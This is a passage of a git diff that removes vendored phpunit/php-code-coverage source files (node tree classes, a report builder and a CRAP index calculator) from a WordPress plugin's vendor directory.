$this->excludeFile($file); - } - } - - public function excludeFile(string $filename): void - { - $filename = realpath($filename); - - if (!$filename || !isset($this->files[$filename])) { - return; - } - - unset($this->files[$filename]); - } - - public function isFile(string $filename): bool - { - if (isset($this->isFileCache[$filename])) { - return $this->isFileCache[$filename]; - } - - if ($filename === '-' || - strpos($filename, 'vfs://') === 0 || - strpos($filename, 'xdebug://debug-eval') !== false || - strpos($filename, 'eval()\'d code') !== false || - strpos($filename, 'runtime-created function') !== false || - strpos($filename, 'runkit created function') !== false || - strpos($filename, 'assert code') !== false || - strpos($filename, 'regexp code') !== false || - strpos($filename, 'Standard input code') !== false) { - $isFile = false; - } else { - $isFile = is_file($filename); - } - - $this->isFileCache[$filename] = $isFile; - - return $isFile; - } - - public function isExcluded(string $filename): bool - { - return !isset($this->files[$filename]) || !$this->isFile($filename); - } - - /** - * @psalm-return list - */ - public function files(): array - { - return array_keys($this->files); - } - - public function isEmpty(): bool - { - return empty($this->files); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/AbstractNode.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/AbstractNode.php deleted file mode 100644 index 330fb573..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/AbstractNode.php +++ /dev/null @@ -1,253 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Node; - -use const DIRECTORY_SEPARATOR; -use function array_merge; -use function str_replace; -use function substr; -use Countable; -use SebastianBergmann\CodeCoverage\Util\Percentage; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -abstract class AbstractNode implements Countable -{ - /** - * @var string - */ - private $name; - - /** - * @var string - */ - private $pathAsString; - - /** - * @var array - */ - private $pathAsArray; - - /** - * @var AbstractNode - */ - private $parent; - - /** - * @var string - */ - private $id; - - public function __construct(string $name, ?self $parent = null) - { - if (substr($name, -1) === DIRECTORY_SEPARATOR) { - $name = substr($name, 0, -1); - } - - $this->name = $name; - $this->parent = $parent; - } - - public function name(): string - { - return $this->name; - } - - public function id(): string - { - if ($this->id === null) { - $parent = $this->parent(); - - if ($parent === null) { - $this->id = 'index'; - } else { - $parentId = $parent->id(); - - if ($parentId === 'index') { - $this->id = str_replace(':', '_', $this->name); - } else { - $this->id = $parentId . '/' . $this->name; - } - } - } - - return $this->id; - } - - public function pathAsString(): string - { - if ($this->pathAsString === null) { - if ($this->parent === null) { - $this->pathAsString = $this->name; - } else { - $this->pathAsString = $this->parent->pathAsString() . DIRECTORY_SEPARATOR . $this->name; - } - } - - return $this->pathAsString; - } - - public function pathAsArray(): array - { - if ($this->pathAsArray === null) { - if ($this->parent === null) { - $this->pathAsArray = []; - } else { - $this->pathAsArray = $this->parent->pathAsArray(); - } - - $this->pathAsArray[] = $this; - } - - return $this->pathAsArray; - } - - public function parent(): ?self - { - return $this->parent; - } - - public function percentageOfTestedClasses(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfTestedClasses(), - $this->numberOfClasses(), - ); - } - - public function percentageOfTestedTraits(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfTestedTraits(), - $this->numberOfTraits(), - ); - } - - public function percentageOfTestedClassesAndTraits(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfTestedClassesAndTraits(), - $this->numberOfClassesAndTraits(), - ); - } - - public function percentageOfTestedFunctions(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfTestedFunctions(), - $this->numberOfFunctions(), - ); - } - - public function percentageOfTestedMethods(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfTestedMethods(), - $this->numberOfMethods(), - ); - } - - public function percentageOfTestedFunctionsAndMethods(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfTestedFunctionsAndMethods(), - $this->numberOfFunctionsAndMethods(), - ); - } - - public function percentageOfExecutedLines(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfExecutedLines(), - $this->numberOfExecutableLines(), - ); - } - - public function percentageOfExecutedBranches(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfExecutedBranches(), - $this->numberOfExecutableBranches() - ); - } - - public function percentageOfExecutedPaths(): Percentage - { - return Percentage::fromFractionAndTotal( - $this->numberOfExecutedPaths(), - $this->numberOfExecutablePaths() - ); - } - - public function numberOfClassesAndTraits(): int - { - return $this->numberOfClasses() + $this->numberOfTraits(); - } - - public function numberOfTestedClassesAndTraits(): int - { - return $this->numberOfTestedClasses() + $this->numberOfTestedTraits(); - } - - public function classesAndTraits(): array - { - return array_merge($this->classes(), $this->traits()); - } - - public function numberOfFunctionsAndMethods(): int - { - return $this->numberOfFunctions() + $this->numberOfMethods(); - } - - public function numberOfTestedFunctionsAndMethods(): int - { - return $this->numberOfTestedFunctions() + $this->numberOfTestedMethods(); - } - - abstract public function classes(): array; - - abstract public function traits(): array; - - abstract public function functions(): array; - - /** - * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - abstract public function linesOfCode(): array; - - abstract public function numberOfExecutableLines(): int; - - abstract public function numberOfExecutedLines(): int; - - abstract public function numberOfExecutableBranches(): int; - - abstract public function numberOfExecutedBranches(): int; - - abstract public function numberOfExecutablePaths(): int; - - abstract public function numberOfExecutedPaths(): int; - - abstract public function numberOfClasses(): int; - - abstract public function numberOfTestedClasses(): int; - - abstract public function numberOfTraits(): int; - - abstract public function numberOfTestedTraits(): int; - - abstract public function numberOfMethods(): int; - - abstract public function numberOfTestedMethods(): int; - - abstract public function numberOfFunctions(): int; - - abstract public function numberOfTestedFunctions(): int; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Builder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Builder.php deleted file mode 100644 index 6d11c779..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Builder.php +++ /dev/null @@ -1,264 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Node; - -use const DIRECTORY_SEPARATOR; -use function array_shift; -use function basename; -use function count; -use function dirname; -use function explode; -use function implode; -use function is_file; -use function str_replace; -use function strpos; -use function substr; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\ProcessedCodeCoverageData; -use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Builder -{ - /** - * @var FileAnalyser - */ - private $analyser; - - public function __construct(FileAnalyser $analyser) - { - $this->analyser = $analyser; - } - - public function build(CodeCoverage $coverage): Directory - { - $data = clone $coverage->getData(); // clone because path munging is destructive to the original data - $commonPath = $this->reducePaths($data); - $root = new Directory( - $commonPath, - null - ); - - $this->addItems( - $root, - $this->buildDirectoryStructure($data), - $coverage->getTests() - ); - - return $root; - } - - private function addItems(Directory $root, array $items, array $tests): void - { - foreach ($items as $key => $value) { - $key = (string) $key; - - if (substr($key, -2) === '/f') { - $key = substr($key, 0, -2); - $filename = $root->pathAsString() . DIRECTORY_SEPARATOR . $key; - - if (is_file($filename)) { - $root->addFile( - new File( - $key, - $root, - $value['lineCoverage'], - $value['functionCoverage'], - $tests, - $this->analyser->classesIn($filename), - $this->analyser->traitsIn($filename), - $this->analyser->functionsIn($filename), - $this->analyser->linesOfCodeFor($filename) - ) - ); - } - } else { - $child = $root->addDirectory($key); - - $this->addItems($child, $value, $tests); - } - } - } - - /** - * Builds an array representation of the directory structure. - * - * For instance, - * - * - * Array - * ( - * [Money.php] => Array - * ( - * ... - * ) - * - * [MoneyBag.php] => Array - * ( - * ... - * ) - * ) - * - * - * is transformed into - * - * - * Array - * ( - * [.] => Array - * ( - * [Money.php] => Array - * ( - * ... - * ) - * - * [MoneyBag.php] => Array - * ( - * ... - * ) - * ) - * ) - * - */ - private function buildDirectoryStructure(ProcessedCodeCoverageData $data): array - { - $result = []; - - foreach ($data->coveredFiles() as $originalPath) { - $path = explode(DIRECTORY_SEPARATOR, $originalPath); - $pointer = &$result; - $max = count($path); - - for ($i = 0; $i < $max; $i++) { - $type = ''; - - if ($i === ($max - 1)) { - $type = '/f'; - } - - $pointer = &$pointer[$path[$i] . $type]; - } - - $pointer = [ - 'lineCoverage' => $data->lineCoverage()[$originalPath] ?? [], - 'functionCoverage' => $data->functionCoverage()[$originalPath] ?? [], - ]; - } - - return $result; - } - - /** - * Reduces the paths by cutting the longest common start path. - * - * For instance, - * - * - * Array - * ( - * [/home/sb/Money/Money.php] => Array - * ( - * ... - * ) - * - * [/home/sb/Money/MoneyBag.php] => Array - * ( - * ... - * ) - * ) - * - * - * is reduced to - * - * - * Array - * ( - * [Money.php] => Array - * ( - * ... - * ) - * - * [MoneyBag.php] => Array - * ( - * ... - * ) - * ) - * - */ - private function reducePaths(ProcessedCodeCoverageData $coverage): string - { - if (empty($coverage->coveredFiles())) { - return '.'; - } - - $commonPath = ''; - $paths = $coverage->coveredFiles(); - - if (count($paths) === 1) { - $commonPath = dirname($paths[0]) . DIRECTORY_SEPARATOR; - $coverage->renameFile($paths[0], basename($paths[0])); - - return $commonPath; - } - - $max = count($paths); - - for ($i = 0; $i < $max; $i++) { - // strip phar:// prefixes - if (strpos($paths[$i], 'phar://') === 0) { - $paths[$i] = substr($paths[$i], 7); - $paths[$i] = str_replace('/', DIRECTORY_SEPARATOR, $paths[$i]); - } - $paths[$i] = explode(DIRECTORY_SEPARATOR, $paths[$i]); - - if (empty($paths[$i][0])) { - $paths[$i][0] = DIRECTORY_SEPARATOR; - } - } - - $done = false; - $max = count($paths); - - while (!$done) { - for ($i = 0; $i < $max - 1; $i++) { - if (!isset($paths[$i][0]) || - !isset($paths[$i + 1][0]) || - $paths[$i][0] !== $paths[$i + 1][0]) { - $done = true; - - break; - } - } - - if (!$done) { - $commonPath .= $paths[0][0]; - - if ($paths[0][0] !== DIRECTORY_SEPARATOR) { - $commonPath .= DIRECTORY_SEPARATOR; - } - - for ($i = 0; $i < $max; $i++) { - array_shift($paths[$i]); - } - } - } - - $original = $coverage->coveredFiles(); - $max = count($original); - - for ($i = 0; $i < $max; $i++) { - $coverage->renameFile($original[$i], implode(DIRECTORY_SEPARATOR, $paths[$i])); - } - - return substr($commonPath, 0, -1); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/CrapIndex.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/CrapIndex.php deleted file mode 100644 index 30b86b7d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/CrapIndex.php +++ /dev/null @@ -1,50 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Node; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class CrapIndex -{ - /** - * @var int - */ - private $cyclomaticComplexity; - - /** - * @var float - */ - private $codeCoverage; - - public function __construct(int $cyclomaticComplexity, float $codeCoverage) - { - $this->cyclomaticComplexity = $cyclomaticComplexity; - $this->codeCoverage = $codeCoverage; - } - - public function asString(): string - { - if ($this->codeCoverage === 0.0) { - return (string) ($this->cyclomaticComplexity ** 2 + $this->cyclomaticComplexity); - } - - if ($this->codeCoverage >= 95) { - return (string) $this->cyclomaticComplexity; - } - - return sprintf( - '%01.2F', - $this->cyclomaticComplexity ** 2 * (1 - $this->codeCoverage / 100) ** 3 + $this->cyclomaticComplexity - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Directory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Directory.php deleted file mode 100644 index d6ee07e4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Directory.php +++ /dev/null @@ -1,440 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Node; - -use function array_merge; -use function count; -use IteratorAggregate; -use RecursiveIteratorIterator; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Directory extends AbstractNode implements IteratorAggregate -{ - /** - * @var AbstractNode[] - */ - private $children = []; - - /** - * @var Directory[] - */ - private $directories = []; - - /** - * @var File[] - */ - private $files = []; - - /** - * @var array - */ - private $classes; - - /** - * @var array - */ - private $traits; - - /** - * @var array - */ - private $functions; - - /** - * @psalm-var null|array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - private $linesOfCode; - - /** - * @var int - */ - private $numFiles = -1; - - /** - * @var int - */ - private $numExecutableLines = -1; - - /** - * @var int - */ - private $numExecutedLines = -1; - - /** - * @var int - */ - private $numExecutableBranches = -1; - - /** - * @var int - */ - private $numExecutedBranches = -1; - - /** - * @var int - */ - private $numExecutablePaths = -1; - - /** - * @var int - */ - private $numExecutedPaths = -1; - - /** - * @var int - */ - private $numClasses = -1; - - /** - * @var int - */ - private $numTestedClasses = -1; - - /** - * @var int - */ - private $numTraits = -1; - - /** - * @var int - */ - private $numTestedTraits = -1; - - /** - * @var int - */ - private $numMethods = -1; - - /** - * @var int - */ - private $numTestedMethods = -1; - - /** - * @var int - */ - private $numFunctions = -1; - - /** - * @var int - */ - private $numTestedFunctions = -1; - - public function count(): int - { - if ($this->numFiles === -1) { - $this->numFiles = 0; - - foreach ($this->children as $child) { - $this->numFiles += count($child); - } - } - - return $this->numFiles; - } - - public function getIterator(): RecursiveIteratorIterator - { - return new RecursiveIteratorIterator( - new Iterator($this), - RecursiveIteratorIterator::SELF_FIRST - ); - } - - public function addDirectory(string $name): self - { - $directory = new self($name, $this); - - $this->children[] = $directory; - $this->directories[] = &$this->children[count($this->children) - 1]; - - return $directory; - } - - public function addFile(File $file): void - { - $this->children[] = $file; - $this->files[] = &$this->children[count($this->children) - 1]; - - $this->numExecutableLines = -1; - $this->numExecutedLines = -1; - } - - public function directories(): array - { - return $this->directories; - } - - public function files(): array - { - return $this->files; - } - - public function children(): array - { - return $this->children; - } - - public function classes(): array - { - if ($this->classes === null) { - $this->classes = []; - - foreach ($this->children as $child) { - $this->classes = array_merge( - $this->classes, - $child->classes() - ); - } - } - - return $this->classes; - } - - public function traits(): array - { - if ($this->traits === null) { - $this->traits = []; - - foreach ($this->children as $child) { - $this->traits = array_merge( - $this->traits, - $child->traits() - ); - } - } - - return $this->traits; - } - - public function functions(): array - { - if ($this->functions === null) { - $this->functions = []; - - foreach ($this->children as $child) { - $this->functions = array_merge( - $this->functions, - $child->functions() - ); - } - } - - return $this->functions; - } - - /** - * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - public function linesOfCode(): array - { - if ($this->linesOfCode === null) { - $this->linesOfCode = [ - 'linesOfCode' => 0, - 'commentLinesOfCode' => 0, - 'nonCommentLinesOfCode' => 0, - ]; - - foreach ($this->children as $child) { - $childLinesOfCode = $child->linesOfCode(); - - $this->linesOfCode['linesOfCode'] += $childLinesOfCode['linesOfCode']; - $this->linesOfCode['commentLinesOfCode'] += $childLinesOfCode['commentLinesOfCode']; - $this->linesOfCode['nonCommentLinesOfCode'] += $childLinesOfCode['nonCommentLinesOfCode']; - } - } - - return $this->linesOfCode; - } - - public function numberOfExecutableLines(): int - { - if ($this->numExecutableLines === -1) { - $this->numExecutableLines = 0; - - foreach ($this->children as $child) { - $this->numExecutableLines += $child->numberOfExecutableLines(); - } - } - - return $this->numExecutableLines; - } - - public function numberOfExecutedLines(): int - { - if ($this->numExecutedLines === -1) { - $this->numExecutedLines = 0; - - foreach ($this->children as $child) { - $this->numExecutedLines += $child->numberOfExecutedLines(); - } - } - - return $this->numExecutedLines; - } - - public function numberOfExecutableBranches(): int - { - if ($this->numExecutableBranches === -1) { - $this->numExecutableBranches = 0; - - foreach ($this->children as $child) { - $this->numExecutableBranches += $child->numberOfExecutableBranches(); - } - } - - return $this->numExecutableBranches; - } - - public function numberOfExecutedBranches(): int - { - if ($this->numExecutedBranches === -1) { - $this->numExecutedBranches = 0; - - foreach ($this->children as $child) { - $this->numExecutedBranches += $child->numberOfExecutedBranches(); - } - } - - return $this->numExecutedBranches; - } - - public function numberOfExecutablePaths(): int - { - if ($this->numExecutablePaths === -1) { - $this->numExecutablePaths = 0; - - foreach ($this->children as $child) { - $this->numExecutablePaths += $child->numberOfExecutablePaths(); - } - } - - return $this->numExecutablePaths; - } - - public function numberOfExecutedPaths(): int - { - if ($this->numExecutedPaths === -1) { - $this->numExecutedPaths = 0; - - foreach ($this->children as $child) { - $this->numExecutedPaths += $child->numberOfExecutedPaths(); - } - } - - return $this->numExecutedPaths; - } - - public function numberOfClasses(): int - { - if ($this->numClasses === -1) { - $this->numClasses = 0; - - foreach ($this->children as $child) { - $this->numClasses += $child->numberOfClasses(); - } - } - - return $this->numClasses; - } - - public function numberOfTestedClasses(): int - { - if ($this->numTestedClasses === -1) { - $this->numTestedClasses = 0; - - foreach ($this->children as $child) { - $this->numTestedClasses += $child->numberOfTestedClasses(); - } - } - - return $this->numTestedClasses; - } - - public function numberOfTraits(): int - { - if ($this->numTraits === -1) { - $this->numTraits = 0; - - foreach ($this->children as $child) { - $this->numTraits += $child->numberOfTraits(); - } - } - - return $this->numTraits; - } - - public function numberOfTestedTraits(): int - { - if ($this->numTestedTraits === -1) { - $this->numTestedTraits = 0; - - foreach ($this->children as $child) { - $this->numTestedTraits += $child->numberOfTestedTraits(); - } - } - - return $this->numTestedTraits; - } - - public function numberOfMethods(): int - { - if ($this->numMethods === -1) { - $this->numMethods = 0; - - foreach ($this->children as $child) { - $this->numMethods += $child->numberOfMethods(); - } - } - - return $this->numMethods; - } - - public function numberOfTestedMethods(): int - { - if ($this->numTestedMethods === -1) { - $this->numTestedMethods = 0; - - foreach ($this->children as $child) { - $this->numTestedMethods += $child->numberOfTestedMethods(); - } - } - - return $this->numTestedMethods; - } - - public function numberOfFunctions(): int - { - if ($this->numFunctions === -1) { - $this->numFunctions = 0; - - foreach ($this->children as $child) { - $this->numFunctions += $child->numberOfFunctions(); - } - } - - return $this->numFunctions; - } - - public function numberOfTestedFunctions(): int - { - if ($this->numTestedFunctions === -1) { - $this->numTestedFunctions = 0; - - foreach ($this->children as $child) { - $this->numTestedFunctions += $child->numberOfTestedFunctions(); - } - } - - return $this->numTestedFunctions; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/File.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/File.php deleted file mode 100644 index af3764e4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/File.php +++ /dev/null @@ -1,651 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Node; - -use function array_filter; -use function count; -use function range; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class File extends AbstractNode -{ - /** - * @var array - */ - private $lineCoverageData; - - /** - * @var array - */ - private $functionCoverageData; - - /** - * @var array - */ - private $testData; - - /** - * @var int - */ - private $numExecutableLines = 0; - - /** - * @var int - */ - private $numExecutedLines = 0; - - /** - * @var int - */ - private $numExecutableBranches = 0; - - /** - * @var int - */ - private $numExecutedBranches = 0; - - /** - * @var int - */ - private $numExecutablePaths = 0; - - /** - * @var int - */ - private $numExecutedPaths = 0; - - /** - * @var array - */ - private $classes = []; - - /** - * @var array - */ - private $traits = []; - - /** - * @var array - */ - private $functions = []; - - /** - * @psalm-var array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - private $linesOfCode; - - /** - * @var int - */ - private $numClasses; - - /** - * @var int - */ - private $numTestedClasses = 0; - - /** - * @var int - */ - private $numTraits; - - /** - * @var int - */ - private $numTestedTraits = 0; - - /** - * @var int - */ - private $numMethods; - - /** - * @var int - */ - private $numTestedMethods; - - /** - * @var int - */ - private $numTestedFunctions; - - /** - * @var array - */ - private $codeUnitsByLine = []; - - /** - * @psalm-param array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} $linesOfCode - */ - public function __construct(string $name, AbstractNode $parent, array $lineCoverageData, array $functionCoverageData, array $testData, array $classes, array $traits, array $functions, array $linesOfCode) - { - parent::__construct($name, $parent); - - $this->lineCoverageData = $lineCoverageData; - $this->functionCoverageData = $functionCoverageData; - $this->testData = $testData; - $this->linesOfCode = $linesOfCode; - - $this->calculateStatistics($classes, $traits, $functions); - } - - public function count(): int - { - return 1; - } - - public function lineCoverageData(): array - { - return $this->lineCoverageData; - } - - public function functionCoverageData(): array - { - return $this->functionCoverageData; - } - - public function testData(): array - { - return $this->testData; - } - - public function classes(): array - { - return $this->classes; - } - - public function traits(): array - { - return $this->traits; - } - - public function functions(): array - { - return $this->functions; - } - - /** - * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - public function linesOfCode(): array - { - return $this->linesOfCode; - } - - public function numberOfExecutableLines(): int - { - return $this->numExecutableLines; - } - - public function numberOfExecutedLines(): int - { - return $this->numExecutedLines; - } - - public function numberOfExecutableBranches(): int - { - return $this->numExecutableBranches; - } - - public function numberOfExecutedBranches(): int - { - return $this->numExecutedBranches; - } - - public function numberOfExecutablePaths(): int - { - return $this->numExecutablePaths; - } - - public function numberOfExecutedPaths(): int - { - return $this->numExecutedPaths; - } - - public function numberOfClasses(): int - { - if ($this->numClasses === null) { - $this->numClasses = 0; - - foreach ($this->classes as $class) { - foreach ($class['methods'] as $method) { - if ($method['executableLines'] > 0) { - $this->numClasses++; - - continue 2; - } - } - } - } - - return $this->numClasses; - } - - public function numberOfTestedClasses(): int - { - return $this->numTestedClasses; - } - - public function numberOfTraits(): int - { - if ($this->numTraits === null) { - $this->numTraits = 0; - - foreach ($this->traits as $trait) { - foreach ($trait['methods'] as $method) { - if ($method['executableLines'] > 0) { - $this->numTraits++; - - continue 2; - } - } - } - } - - return $this->numTraits; - } - - public function numberOfTestedTraits(): int - { - return $this->numTestedTraits; - } - - public function numberOfMethods(): int - { - if ($this->numMethods === null) { - $this->numMethods = 0; - - foreach ($this->classes as $class) { - foreach ($class['methods'] as $method) { - if ($method['executableLines'] > 0) { - $this->numMethods++; - } - } - } - - foreach ($this->traits as $trait) { - foreach ($trait['methods'] as $method) { - if ($method['executableLines'] > 0) { - $this->numMethods++; - } - } - } - } - - return $this->numMethods; - } - - public function numberOfTestedMethods(): int - { - if ($this->numTestedMethods === null) { - $this->numTestedMethods = 0; - - foreach ($this->classes as $class) { - foreach ($class['methods'] as $method) { - if ($method['executableLines'] > 0 && - $method['coverage'] === 100) { - $this->numTestedMethods++; - } - } - } - - foreach ($this->traits as $trait) { - foreach ($trait['methods'] as $method) { - if ($method['executableLines'] > 0 && - $method['coverage'] === 100) { - $this->numTestedMethods++; - } - } - } - } - - return $this->numTestedMethods; - } - - public function numberOfFunctions(): int - { - return count($this->functions); - } - - public function numberOfTestedFunctions(): int - { - if ($this->numTestedFunctions === null) { - $this->numTestedFunctions = 0; - - foreach ($this->functions as $function) { - if ($function['executableLines'] > 0 && - $function['coverage'] === 100) { - $this->numTestedFunctions++; - } - } - } - - return $this->numTestedFunctions; - } - - private function calculateStatistics(array $classes, array $traits, array $functions): void - { - foreach (range(1, $this->linesOfCode['linesOfCode']) as $lineNumber) { - $this->codeUnitsByLine[$lineNumber] = []; - } - - $this->processClasses($classes); - $this->processTraits($traits); - $this->processFunctions($functions); - - foreach (range(1, $this->linesOfCode['linesOfCode']) as $lineNumber) { - if (isset($this->lineCoverageData[$lineNumber])) { - foreach ($this->codeUnitsByLine[$lineNumber] as &$codeUnit) { - $codeUnit['executableLines']++; - } - - unset($codeUnit); - - $this->numExecutableLines++; - - if (count($this->lineCoverageData[$lineNumber]) > 0) { - foreach ($this->codeUnitsByLine[$lineNumber] as &$codeUnit) { - $codeUnit['executedLines']++; - } - - unset($codeUnit); - - $this->numExecutedLines++; - } - } - } - - foreach ($this->traits as &$trait) { - foreach ($trait['methods'] as &$method) { - $methodLineCoverage = $method['executableLines'] ? ($method['executedLines'] / $method['executableLines']) * 100 : 100; - $methodBranchCoverage = $method['executableBranches'] ? ($method['executedBranches'] / $method['executableBranches']) * 100 : 0; - $methodPathCoverage = $method['executablePaths'] ? ($method['executedPaths'] / $method['executablePaths']) * 100 : 0; - - $method['coverage'] = $methodBranchCoverage ?: $methodLineCoverage; - $method['crap'] = (new CrapIndex($method['ccn'], $methodPathCoverage ?: $methodLineCoverage))->asString(); - - $trait['ccn'] += $method['ccn']; - } - - unset($method); - - $traitLineCoverage = $trait['executableLines'] ? ($trait['executedLines'] / $trait['executableLines']) * 100 : 100; - $traitBranchCoverage = $trait['executableBranches'] ? ($trait['executedBranches'] / $trait['executableBranches']) * 100 : 0; - $traitPathCoverage = $trait['executablePaths'] ? ($trait['executedPaths'] / $trait['executablePaths']) * 100 : 0; - - $trait['coverage'] = $traitBranchCoverage ?: $traitLineCoverage; - $trait['crap'] = (new CrapIndex($trait['ccn'], $traitPathCoverage ?: $traitLineCoverage))->asString(); - - if ($trait['executableLines'] > 0 && $trait['coverage'] === 100) { - $this->numTestedClasses++; - } - } - - unset($trait); - - foreach ($this->classes as &$class) { - foreach ($class['methods'] as &$method) { - $methodLineCoverage = $method['executableLines'] ? ($method['executedLines'] / $method['executableLines']) * 100 : 100; - $methodBranchCoverage = $method['executableBranches'] ? ($method['executedBranches'] / $method['executableBranches']) * 100 : 0; - $methodPathCoverage = $method['executablePaths'] ? ($method['executedPaths'] / $method['executablePaths']) * 100 : 0; - - $method['coverage'] = $methodBranchCoverage ?: $methodLineCoverage; - $method['crap'] = (new CrapIndex($method['ccn'], $methodPathCoverage ?: $methodLineCoverage))->asString(); - - $class['ccn'] += $method['ccn']; - } - - unset($method); - - $classLineCoverage = $class['executableLines'] ? ($class['executedLines'] / $class['executableLines']) * 100 : 100; - $classBranchCoverage = $class['executableBranches'] ? ($class['executedBranches'] / $class['executableBranches']) * 100 : 0; - $classPathCoverage = $class['executablePaths'] ? ($class['executedPaths'] / $class['executablePaths']) * 100 : 0; - - $class['coverage'] = $classBranchCoverage ?: $classLineCoverage; - $class['crap'] = (new CrapIndex($class['ccn'], $classPathCoverage ?: $classLineCoverage))->asString(); - - if ($class['executableLines'] > 0 && $class['coverage'] === 100) { - $this->numTestedClasses++; - } - } - - unset($class); - - foreach ($this->functions as &$function) { - $functionLineCoverage = $function['executableLines'] ? ($function['executedLines'] / $function['executableLines']) * 100 : 100; - $functionBranchCoverage = $function['executableBranches'] ? ($function['executedBranches'] / $function['executableBranches']) * 100 : 0; - $functionPathCoverage = $function['executablePaths'] ? ($function['executedPaths'] / $function['executablePaths']) * 100 : 0; - - $function['coverage'] = $functionBranchCoverage ?: $functionLineCoverage; - $function['crap'] = (new CrapIndex($function['ccn'], $functionPathCoverage ?: $functionLineCoverage))->asString(); - - if ($function['coverage'] === 100) { - $this->numTestedFunctions++; - } - } - } - - private function processClasses(array $classes): void - { - $link = $this->id() . '.html#'; - - foreach ($classes as $className => $class) { - $this->classes[$className] = [ - 'className' => $className, - 'namespace' => $class['namespace'], - 'methods' => [], - 'startLine' => $class['startLine'], - 'executableLines' => 0, - 'executedLines' => 0, - 'executableBranches' => 0, - 'executedBranches' => 0, - 'executablePaths' => 0, - 'executedPaths' => 0, - 'ccn' => 0, - 'coverage' => 0, - 'crap' => 0, - 'link' => $link . $class['startLine'], - ]; - - foreach ($class['methods'] as $methodName => $method) { - $methodData = $this->newMethod($className, $methodName, $method, $link); - $this->classes[$className]['methods'][$methodName] = $methodData; - - $this->classes[$className]['executableBranches'] += $methodData['executableBranches']; - $this->classes[$className]['executedBranches'] += $methodData['executedBranches']; - $this->classes[$className]['executablePaths'] += $methodData['executablePaths']; - $this->classes[$className]['executedPaths'] += $methodData['executedPaths']; - - $this->numExecutableBranches += $methodData['executableBranches']; - $this->numExecutedBranches += $methodData['executedBranches']; - $this->numExecutablePaths += $methodData['executablePaths']; - $this->numExecutedPaths += $methodData['executedPaths']; - - foreach (range($method['startLine'], $method['endLine']) as $lineNumber) { - $this->codeUnitsByLine[$lineNumber] = [ - &$this->classes[$className], - &$this->classes[$className]['methods'][$methodName], - ]; - } - } - } - } - - private function processTraits(array $traits): void - { - $link = $this->id() . '.html#'; - - foreach ($traits as $traitName => $trait) { - $this->traits[$traitName] = [ - 'traitName' => $traitName, - 'namespace' => $trait['namespace'], - 'methods' => [], - 'startLine' => $trait['startLine'], - 'executableLines' => 0, - 'executedLines' => 0, - 'executableBranches' => 0, - 'executedBranches' => 0, - 'executablePaths' => 0, - 'executedPaths' => 0, - 'ccn' => 0, - 'coverage' => 0, - 'crap' => 0, - 'link' => $link . $trait['startLine'], - ]; - - foreach ($trait['methods'] as $methodName => $method) { - $methodData = $this->newMethod($traitName, $methodName, $method, $link); - $this->traits[$traitName]['methods'][$methodName] = $methodData; - - 